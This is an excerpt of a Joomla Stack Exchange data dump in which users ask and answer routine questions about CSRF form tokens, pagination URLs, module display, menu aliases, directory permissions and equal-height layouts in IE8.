  <row Id="2373" PostTypeId="2" ParentId="1044" CreationDate="2014-06-20T00:03:02.017" Score="3" Body="&lt;p&gt;Curl expects the vars in simple key=&gt; value form, then http encoded. So you need to set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars = 'jform[email]='.urlencode($emailadr).'&amp;amp;'.urlencode($token).'=1';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, no &quot; for the field value of the token field&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-06-20T00:03:02.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2376" PostTypeId="1" AcceptedAnswerId="2431" CreationDate="2014-06-20T10:39:19.807" Score="6" ViewCount="601" Body="&lt;p&gt;I have used the methods described on this page in Joomla many times before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot;&gt;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to implement the same mechanism using the &lt;a href=&quot;http://framework.joomla.org/&quot;&gt;Joomla Framework&lt;/a&gt; and the &lt;a href=&quot;https://github.com/dbhurley/framework-app&quot;&gt;Framework App&lt;/a&gt;. So I have tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$token = $this-&amp;gt;app-&amp;gt;getFormToken();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this causes the application to exit. I have stepped through the code and the problem starts in the getFormToken function here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return md5($this-&amp;gt;get('secret') . $userId . $this-&amp;gt;session-&amp;gt;getToken($forceNew));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;get('secret') returns here because there is no dot in 'secret':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!strpos($path, '.'))&#xA;{&#xA;    return (isset($this-&amp;gt;data-&amp;gt;$path) &amp;amp;&amp;amp; $this-&amp;gt;data-&amp;gt;$path !== null &amp;amp;&amp;amp; $this-&amp;gt;data-&amp;gt;$path !== '') ? $this-&amp;gt;data-&amp;gt;$path : $default;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then this function runs from Symfony:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function write($sessionId, $data)&#xA;{&#xA;    return (bool) $this-&amp;gt;handler-&amp;gt;write($sessionId, $data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally this function runs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function close()&#xA;{&#xA;    $this-&amp;gt;active = false;&#xA;&#xA;    return (bool) $this-&amp;gt;handler-&amp;gt;close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which exits the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Do I need to add a 'secret' somewhere? How should I generate a form token which I then check when the form is submitted?&lt;/p&gt;&#xA;" OwnerUserId="218" LastEditorUserId="12352" LastEditDate="2019-11-16T23:08:08.813" LastActivityDate="2019-11-16T23:08:08.813" Title="Implement CSRF anti-spoofing using the Joomla Framework" Tags="|php|joomla-api|security|joomla-framework-1.x|security-token|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2377" PostTypeId="1" AcceptedAnswerId="2380" CreationDate="2014-06-20T10:47:25.180" Score="-1" ViewCount="44" Body="&lt;p&gt;How can I when I click on a menu&#xA;Only one module can display&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to set me on my&#xA;Because Joomla saves me when I'm&#xA;Selection error Catagoris&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want when I click on the menu&#xA;Dedicated show news display module&lt;/p&gt;&#xA;" OwnerUserId="1553" LastEditorUserId="1553" LastEditDate="2014-06-20T11:03:31.603" LastActivityDate="2014-06-20T12:12:05.773" Title="How can I do a screen display module in the news?" Tags="|module-display|" AnswerCount="1" CommentCount="7" ClosedDate="2014-06-25T07:30:19.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="2378" PostTypeId="1" CreationDate="2014-06-20T11:07:48.677" Score="-1" ViewCount="77" Body="&lt;p&gt;How can I when I click on a menu&#xA;Only one module can display&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to set me on my&#xA;Because Joomla saves me when I'm&#xA;Selection error Catagoris&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want when I click on the menu&#xA;Dedicated show news display module&lt;/p&gt;&#xA;" OwnerUserId="1553" LastActivityDate="2014-06-20T16:42:35.743" Title="Only one module can display" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2379" PostTypeId="1" CreationDate="2014-06-20T11:07:49.620" Score="1" ViewCount="1040" Body="&lt;p&gt;&lt;strong&gt;The Requirement: Equal Height Blocks in Rows&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I work on a lot of joomla sites whose designs require the various page divs to be equal in height. &lt;a href=&quot;http://css-tricks.com/equal-height-blocks-in-rows/&quot; rel=&quot;nofollow&quot;&gt;CSS Tricks has a good example&lt;/a&gt; of how to line up and equalise the heights of multiple rows of blocks. However, the CSS Tricks example assumes that all your divs/blocks are going to be similar elements with a shared class, eg. &lt;code&gt;.blocks&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed a function that could take several disparate elements on a page, with no common classes, and equalise their respective heights. So this is what I wrote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//EQUAL HEIGHT&#xA;equalHeight = function(container1, container2, container3) {&#xA;&#xA;    var mainBlock = container1;&#xA;    var secondBlock = container2;&#xA;    var thirdBlock = container3;&#xA;&#xA;    // in case the div heights have already dynamically changed,&#xA;    // reset the div heights back to their true markup values&#xA;    $(mainBlock).css('height','auto');&#xA;    $(secondBlock).css('height','auto');&#xA;    $(thirdBlock).css('height','auto');&#xA;&#xA;    var highestBlock = 0;&#xA;&#xA;    // determine which is the tallest block before doing anything&#xA;    $(mainBlock).each(function(){  &#xA;        if($(this).height() &amp;gt; highestBlock){  &#xA;            highestBlock = $(this).height();  &#xA;        }&#xA;    });    &#xA;&#xA;    // Now apply the tallest block value to the heights of all relevant divs&#xA;    $(mainBlock).height(highestBlock);&#xA;    $(secondBlock).height(highestBlock);&#xA;    $(thirdBlock).height(highestBlock);&#xA;}&#xA;&#xA;//EQUAL HEIGHT USAGE EXAMPLE&#xA;equalHeight('nav#myNav', 'img#someImage', 'section.mySectionClass');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;&lt;strong&gt;The Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function works exactly the way I want it to, but I run into problems when calling it on &lt;code&gt;(window).resize&lt;/code&gt;, especially in &lt;strong&gt;IE8&lt;/strong&gt;. My sites are responsive, and I need to readjust the equalised heights of divs once the browser window size has changed in size. This seems to work fine in other browsers, but &lt;a href=&quot;http://www.piotrovski.com/2012/10/resize-event-on-ie8-and-other-browsers.html&quot; rel=&quot;nofollow&quot;&gt;because of the way IE8 deals with the resize event&lt;/a&gt;, calling my equalHeight function inside the resize event triggers an endless loop, which crashes the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the above, how would you go about ensuring that sites can have equally-sized blocks/divs in IE8 without compromising performance? I would like to be able to avoid using the &lt;code&gt;(window).resize&lt;/code&gt; event, but haven't found a superior alternative. Is there a better time and place to be calling the equalHeight function? Are there flaws in the equalHeight function itself that I'm missing? The only solution I'm not open to considering is 'change the site design', since this isn't something over which I have control.&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2014-06-27T08:51:32.703" Title="Responsive Equal Height Blocks in a Row - problematic in IE8" Tags="|jquery|javascript|responsive-web-design|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2380" PostTypeId="2" ParentId="2377" CreationDate="2014-06-20T12:12:05.773" Score="1" Body="&lt;p&gt;Joomla always displays a component in the main position, and associated modules with a menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several tricks to &quot;hide&quot; the component, and focus visitors attention on a module.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Display a static article, with no information (a dot), and hide the main position with CSS Styling&lt;/li&gt;&#xA;&lt;li&gt;Display a content category, with no articles&lt;/li&gt;&#xA;&lt;li&gt;RocketTheme templates have a feature to hide the main component (featured articles). So, you create an alternative template layout with no component.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-06-20T12:12:05.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2382" PostTypeId="2" ParentId="1019" CreationDate="2014-06-20T13:16:12.527" Score="1" Body="&lt;p&gt;It is not K2, T3 or sh404 sef problem. It is Joomla bug. limit is missing from url's&#xA;T3, and K2 are only overriding default JPagination methods and &lt;code&gt;_buildDataObject&lt;/code&gt; method in JPagination class is missing the &lt;code&gt;&amp;amp;limit=$this-&amp;gt;limit&lt;/code&gt;. sh404sef is trying  to fix it but T3 or K2 override fire before sh404 sef&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;here is fix for J3x _buildDataObject&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Create and return the pagination data object.&#xA; *&#xA; * @return  object  Pagination data object.&#xA; *&#xA; * @since   1.5&#xA; */&#xA;protected function _buildDataObject()&#xA;{&#xA;    $data = new stdClass;&#xA;&#xA;    $limitString = '&amp;amp;limit=' . $this-&amp;gt;limit; // sh404 fix&#xA;    // Build the additional URL parameters string.&#xA;    $params = '';&#xA;&#xA;    if (!empty($this-&amp;gt;additionalUrlParams))&#xA;    {&#xA;        foreach ($this-&amp;gt;additionalUrlParams as $key =&amp;gt; $value)&#xA;        {&#xA;            $params .= '&amp;amp;' . $key . '=' . $value;&#xA;        }&#xA;    }&#xA;&#xA;    $data-&amp;gt;all = new JPaginationObject(JText::_('JLIB_HTML_VIEW_ALL'), $this-&amp;gt;prefix);&#xA;&#xA;    if (!$this-&amp;gt;viewall)&#xA;    {&#xA;        $data-&amp;gt;all-&amp;gt;base = '0';&#xA;        $data-&amp;gt;all-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=');&#xA;    }&#xA;&#xA;    // Set the start and previous data objects.&#xA;    $data-&amp;gt;start = new JPaginationObject(JText::_('JLIB_HTML_START'), $this-&amp;gt;prefix);&#xA;    $data-&amp;gt;previous = new JPaginationObject(JText::_('JPREV'), $this-&amp;gt;prefix);&#xA;&#xA;    if ($this-&amp;gt;pagesCurrent &amp;gt; 1)&#xA;    {&#xA;        $page = ($this-&amp;gt;pagesCurrent - 2) * $this-&amp;gt;limit;&#xA;&#xA;        // Set the empty for removal from route&#xA;        // @todo remove code: $page = $page == 0 ? '' : $page;&#xA;&#xA;        $data-&amp;gt;start-&amp;gt;base = '0';&#xA;        $data-&amp;gt;start-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=0');&#xA;        $data-&amp;gt;previous-&amp;gt;base = $page;&#xA;        $data-&amp;gt;previous-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $page. $limitString);&#xA;    }&#xA;&#xA;    // Set the next and end data objects.&#xA;    $data-&amp;gt;next = new JPaginationObject(JText::_('JNEXT'), $this-&amp;gt;prefix);&#xA;    $data-&amp;gt;end = new JPaginationObject(JText::_('JLIB_HTML_END'), $this-&amp;gt;prefix);&#xA;&#xA;    if ($this-&amp;gt;pagesCurrent &amp;lt; $this-&amp;gt;pagesTotal)&#xA;    {&#xA;        $next = $this-&amp;gt;pagesCurrent * $this-&amp;gt;limit;&#xA;        $end = ($this-&amp;gt;pagesTotal - 1) * $this-&amp;gt;limit;&#xA;&#xA;        $data-&amp;gt;next-&amp;gt;base = $next;&#xA;        $data-&amp;gt;next-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $next . $limitString);&#xA;        $data-&amp;gt;end-&amp;gt;base = $end;&#xA;        $data-&amp;gt;end-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $end . $limitString);&#xA;    }&#xA;&#xA;    $data-&amp;gt;pages = array();&#xA;    $stop = $this-&amp;gt;pagesStop;&#xA;&#xA;    for ($i = $this-&amp;gt;pagesStart; $i &amp;lt;= $stop; $i++)&#xA;    {&#xA;        $offset = ($i - 1) * $this-&amp;gt;limit;&#xA;&#xA;        $data-&amp;gt;pages[$i] = new JPaginationObject($i, $this-&amp;gt;prefix);&#xA;&#xA;        if ($i != $this-&amp;gt;pagesCurrent || $this-&amp;gt;viewall)&#xA;        {&#xA;            $data-&amp;gt;pages[$i]-&amp;gt;base = $offset;&#xA;            $data-&amp;gt;pages[$i]-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $offset . $limitString);&#xA;        }&#xA;        else&#xA;        {&#xA;            $data-&amp;gt;pages[$i]-&amp;gt;active = true;&#xA;        }&#xA;    }&#xA;&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;and this one is for 2.5.x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Create and return the pagination data object.&#xA; *&#xA; * @return  object  Pagination data object.&#xA; *&#xA; * @since   11.1&#xA; */&#xA;protected function _buildDataObject()&#xA;{&#xA;    // Initialise variables.&#xA;    $data = new stdClass;&#xA;&#xA;    $limitString = '&amp;amp;limit=' . $this-&amp;gt;limit; // sh404 fix&#xA;&#xA;    // Build the additional URL parameters string.&#xA;    $params = '';&#xA;    if (!empty($this-&amp;gt;_additionalUrlParams))&#xA;    {&#xA;        foreach ($this-&amp;gt;_additionalUrlParams as $key =&amp;gt; $value)&#xA;        {&#xA;            $params .= '&amp;amp;' . $key . '=' . $value;&#xA;        }&#xA;    }&#xA;&#xA;    $data-&amp;gt;all = new YjsgJPaginationDefaultObject(JText::_('JLIB_HTML_VIEW_ALL'), $this-&amp;gt;prefix);&#xA;    if (!$this-&amp;gt;_viewall)&#xA;    {&#xA;        $data-&amp;gt;all-&amp;gt;base = '0';&#xA;        $data-&amp;gt;all-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=');&#xA;    }&#xA;&#xA;    // Set the start and previous data objects.&#xA;    $data-&amp;gt;start = new YjsgJPaginationDefaultObject(JText::_('JLIB_HTML_START'), $this-&amp;gt;prefix);&#xA;    $data-&amp;gt;previous = new YjsgJPaginationDefaultObject(JText::_('JPREV'), $this-&amp;gt;prefix);&#xA;&#xA;    if ($this-&amp;gt;get('pages.current') &amp;gt; 1)&#xA;    {&#xA;        $page = ($this-&amp;gt;get('pages.current') - 2) * $this-&amp;gt;limit;&#xA;&#xA;        // Set the empty for removal from route&#xA;        //$page = $page == 0 ? '' : $page;&#xA;&#xA;        $data-&amp;gt;start-&amp;gt;base = '0';&#xA;        $data-&amp;gt;start-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=0');&#xA;        $data-&amp;gt;previous-&amp;gt;base = $page;&#xA;        $data-&amp;gt;previous-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $page . $limitString);&#xA;    }&#xA;&#xA;    // Set the next and end data objects.&#xA;    $data-&amp;gt;next = new YjsgJPaginationDefaultObject(JText::_('JNEXT'), $this-&amp;gt;prefix);&#xA;    $data-&amp;gt;end = new YjsgJPaginationDefaultObject(JText::_('JLIB_HTML_END'), $this-&amp;gt;prefix);&#xA;&#xA;    if ($this-&amp;gt;get('pages.current') &amp;lt; $this-&amp;gt;get('pages.total'))&#xA;    {&#xA;        $next = $this-&amp;gt;get('pages.current') * $this-&amp;gt;limit;&#xA;        $end = ($this-&amp;gt;get('pages.total') - 1) * $this-&amp;gt;limit;&#xA;&#xA;        $data-&amp;gt;next-&amp;gt;base = $next;&#xA;        $data-&amp;gt;next-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $next . $limitString);&#xA;        $data-&amp;gt;end-&amp;gt;base = $end;&#xA;        $data-&amp;gt;end-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $end . $limitString);&#xA;    }&#xA;&#xA;    $data-&amp;gt;pages = array();&#xA;    $stop = $this-&amp;gt;get('pages.stop');&#xA;    for ($i = $this-&amp;gt;get('pages.start'); $i &amp;lt;= $stop; $i++)&#xA;    {&#xA;        $offset = ($i - 1) * $this-&amp;gt;limit;&#xA;        // Set the empty for removal from route&#xA;        //$offset = $offset == 0 ? '' : $offset;&#xA;&#xA;        $data-&amp;gt;pages[$i] = new YjsgJPaginationDefaultObject($i, $this-&amp;gt;prefix);&#xA;        if ($i != $this-&amp;gt;get('pages.current') || $this-&amp;gt;_viewall)&#xA;        {&#xA;            $data-&amp;gt;pages[$i]-&amp;gt;base = $offset;&#xA;            $data-&amp;gt;pages[$i]-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $offset . $limitString);&#xA;        }&#xA;    }&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="200" LastActivityDate="2014-06-20T13:16:12.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2383" PostTypeId="1" CreationDate="2014-06-20T14:19:15.377" Score="3" ViewCount="98" Body="&lt;p&gt;I have a Joomla 3.3 site that is accessible from sub.domain.com and domain.com (both pointing to the same Document Root). Both of them loads the site fine and the FTP account works as well but when I view the System Information-&gt;Directory Information when I am logged into the backend for domain.com, all the directories are unwriteable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yet when I log into the sub.domain.com backend and view the same information, the directories are all writeable. That means I can't install any components/upload images form the www.domain.com backend. Joomla was originally setup (using installation Wizard) under the sub.domain.com with the same FTP that is currently used. The people who manage the server are saying it is something to do with Joomla since the owner/permissions has not changed when I changed the Document Root of the live to use the current folder (shared by both domains). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am thinking what did I do wrong and where do I start looking? Thank you. &lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2014-06-20T14:31:14.790" LastActivityDate="2014-06-20T15:01:43.423" Title="Directory Permissions Issue in one domain when site accessible from multiple domain" Tags="|file-permissions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2384" PostTypeId="1" AcceptedAnswerId="2388" CreationDate="2014-06-20T14:30:33.100" Score="1" ViewCount="385" Body="&lt;p&gt;I have 2 menus - one main menu and effectively an alias menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main Menu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Products&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Prod 1&lt;/li&gt;&#xA;&lt;li&gt;Prod 2 etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alias Menu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alias pointing to Prod 1&lt;/li&gt;&#xA;&lt;li&gt;Alias pointing to Prod 2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is no 'parent' item for the alias menu. I would have expected when I click on an item in the Main Menu for the active-alias to get triggered as well? Is this not default behaviour or do I need a parent alias in my alias menu?&lt;/p&gt;&#xA;" OwnerUserId="187" LastActivityDate="2016-07-11T09:51:10.760" Title="How does alias-parent-active get implemented?" Tags="|menu|alias|active|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2385" PostTypeId="2" ParentId="2383" CreationDate="2014-06-20T14:55:12.753" Score="2" Body="&lt;p&gt;You need to have logged in as only one user when you uploaded the site. Two different logins means two different permissions. This is a precaution to safeguard two different users files from being overwritten. It has nothing to do with joomla, it's your shared server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log in to your control panel, use the file manager to zip up joomla and download it to your local machine and delete it from the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unzip it and log in as the 2nd level domain user and ftp it back up. This was only one user owns both sets of files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or just chown everything to one user.&lt;/p&gt;&#xA;" OwnerUserId="1555" LastEditorUserId="1555" LastEditDate="2014-06-20T15:01:43.423" LastActivityDate="2014-06-20T15:01:43.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2387" PostTypeId="2" ParentId="102" CreationDate="2014-06-20T15:49:18.117" Score="2" Body="&lt;p&gt;add a module class suffix to the module and then add your own styling in your template. &#xA;Have to actually see the code in order to tell you what styling to add/override.&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2014-06-20T15:49:18.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2388" PostTypeId="2" ParentId="2384" CreationDate="2014-06-20T16:11:40.190" Score="0" Body="&lt;p&gt;In the scenario you are describing, the Alias Menu Items usually become &lt;code&gt;active&lt;/code&gt;, following their original menu item state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu module applies the &lt;code&gt;active&lt;/code&gt; class to that item, and with the appropriate css from your template, it would get the extra styling, to denote visually that it is active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check with the developer's tools in your browser, to see the output of your second menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be that there is a module override for the menu module in your template, or that your template does not have any special styling for this scenario at the module position of your menu, or another css override may affect the desired styling.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-11T09:51:10.760" LastActivityDate="2016-07-11T09:51:10.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2389" PostTypeId="2" ParentId="2378" CreationDate="2014-06-20T16:42:35.743" Score="3" Body="&lt;p&gt;It's a bit hard to understand exactly what your asking, however it does seem like you want to extend the default functionality of modules. For this nonumbers advanced module manager is perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/advancedmodulemanager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would take pages to go over all it can do, I would recommend installing it and seeing it in action. There is no harm in having it and even the free version has all the features you really need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if what you need is to have a page where only one module shows, you can create a module with just {loadposition module-position} or {loadmodule ID} to load just that module into the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am missing the mark on what is being asked please let me know and I can adjust to suit.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-20T16:42:35.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2390" PostTypeId="2" ParentId="2379" CreationDate="2014-06-20T16:56:49.513" Score="1" Body="&lt;p&gt;First of all, I assume you are using respond.js? It is a great tool to make IE8 responsive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/scottjehl/Respond&quot; rel=&quot;nofollow&quot;&gt;https://github.com/scottjehl/Respond&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the juiciness. All you need to do is &quot;throttle&quot; the event.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var throttleTimeout = false,&#xA;    throttleTime = 2000; //2 seconds&#xA;function throttleHeight(event){&#xA;   if(!throttleTimeout){ //check if throttle variable is false&#xA;      throttleTimeout = setTimeout(function(){ //set a timeout&#xA;         equalHeight('nav#myNav', 'img#someImage', 'section.mySectionClass');&#xA;         throttleTimeout = false; //reset variable&#xA;      },throttleTime);&#xA;      throttleTimeout = true;&#xA;   }&#xA;}&#xA;jQuery(window).resize(throttleHeight);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this does is not allow equalHeight to run more then every 2 seconds, because unless the timeout is cleared, it will not run. Untested however it should work enough to get you started on the idea.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-06-25T19:44:42.563" LastActivityDate="2014-06-25T19:44:42.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2391" PostTypeId="1" AcceptedAnswerId="2392" CreationDate="2014-06-20T21:28:38.140" Score="4" ViewCount="5819" Body="&lt;p&gt;When an admin user is logged in, to the front-end of a Joomla 3 site, when he moves the mouse over modules or menus, an Edit Module icon / message appears inside a box. Clicking on it, will take the user to the backend. How to prevent this?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="168" LastEditDate="2014-07-31T08:01:34.063" LastActivityDate="2015-03-24T13:41:25.160" Title="Hide Edit Module option in front-end for admin users" Tags="|module|configuration|administration|permissions|global-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2392" PostTypeId="2" ParentId="2391" CreationDate="2014-06-20T21:30:33.407" Score="5" Body="&lt;p&gt;There are 2 options to prevent this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is a global setting to stop this from happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Global Configuration&lt;/strong&gt; -&gt; &lt;strong&gt;Site Settings&lt;/strong&gt; -&gt; &lt;strong&gt;Mouse-over edit icons for&lt;/strong&gt;:&#xA;&lt;br /&gt;We can set this setting to Modules &amp;amp; Menus, Modules, or None.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option is related with the Module Permissions. Since in Joomla 3, we have the ability to set permissions by module, we can take away the ability to edit specific modules by specific usergroups. When a user won't have edit permissions on a module, the Edit icon will not appear in front-end. However, this will restrict the users of this usergroup from editing the module in the backend as well.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-06-20T21:30:33.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2393" PostTypeId="1" CreationDate="2014-06-21T06:46:09.883" Score="2" ViewCount="160" Body="&lt;p&gt;I am working on joomla and I am having a situation. I have created 2 Custom HTML modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a). Certified Membership Subscription Box (Disabled) b). Certified Membership Subscription Box (Enabled)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both have almost the same piece of code in them except the color of the button (one is green, other is gray).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have two user groups&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a). Associate Members&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b). Associate Members (Passed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created 2 access levels for both groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a). Associate Membership Exam (Non-Passed) --------&gt; Having view rights to Associate Members Group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b). Associate Membership Exam (Passed) --------------&gt; Having view rights to Associate Members (Passed) Group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want users in &quot;Associate Members&quot; to see Certified Membership Subscription Box (Disabled) module only and users in &quot;Associate Members (Passed)&quot; to view Certified Membership Subscription Box (Enabled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assigned access level Associate Membership Exam (Non-Passed) to Certified Memebership Subscription Box (Disabled) module. And Associate Membership Exam (Passed) access level to Certified Memebership Subscription Box (Enabled) module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have displayed both modules in an article by using {loadposition cert_mem_sub_box_enabled}{loadposition cert_mem_sub_box_disabled}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in last when I try to log in by users from each group it shows only the Certified Memebership Subscription Box (Disabled) module (all the time). I don't know what's going on. Modules are not being shown/hidden according to user group/access level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please tell me what's wrong with this scenario. Thanks&lt;/p&gt;&#xA;" OwnerUserId="1557" LastEditorUserId="159" LastEditDate="2014-10-18T14:05:45.257" LastActivityDate="2014-10-18T14:05:45.257" Title="Joomla Module View Access Level Issue" Tags="|module|acl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
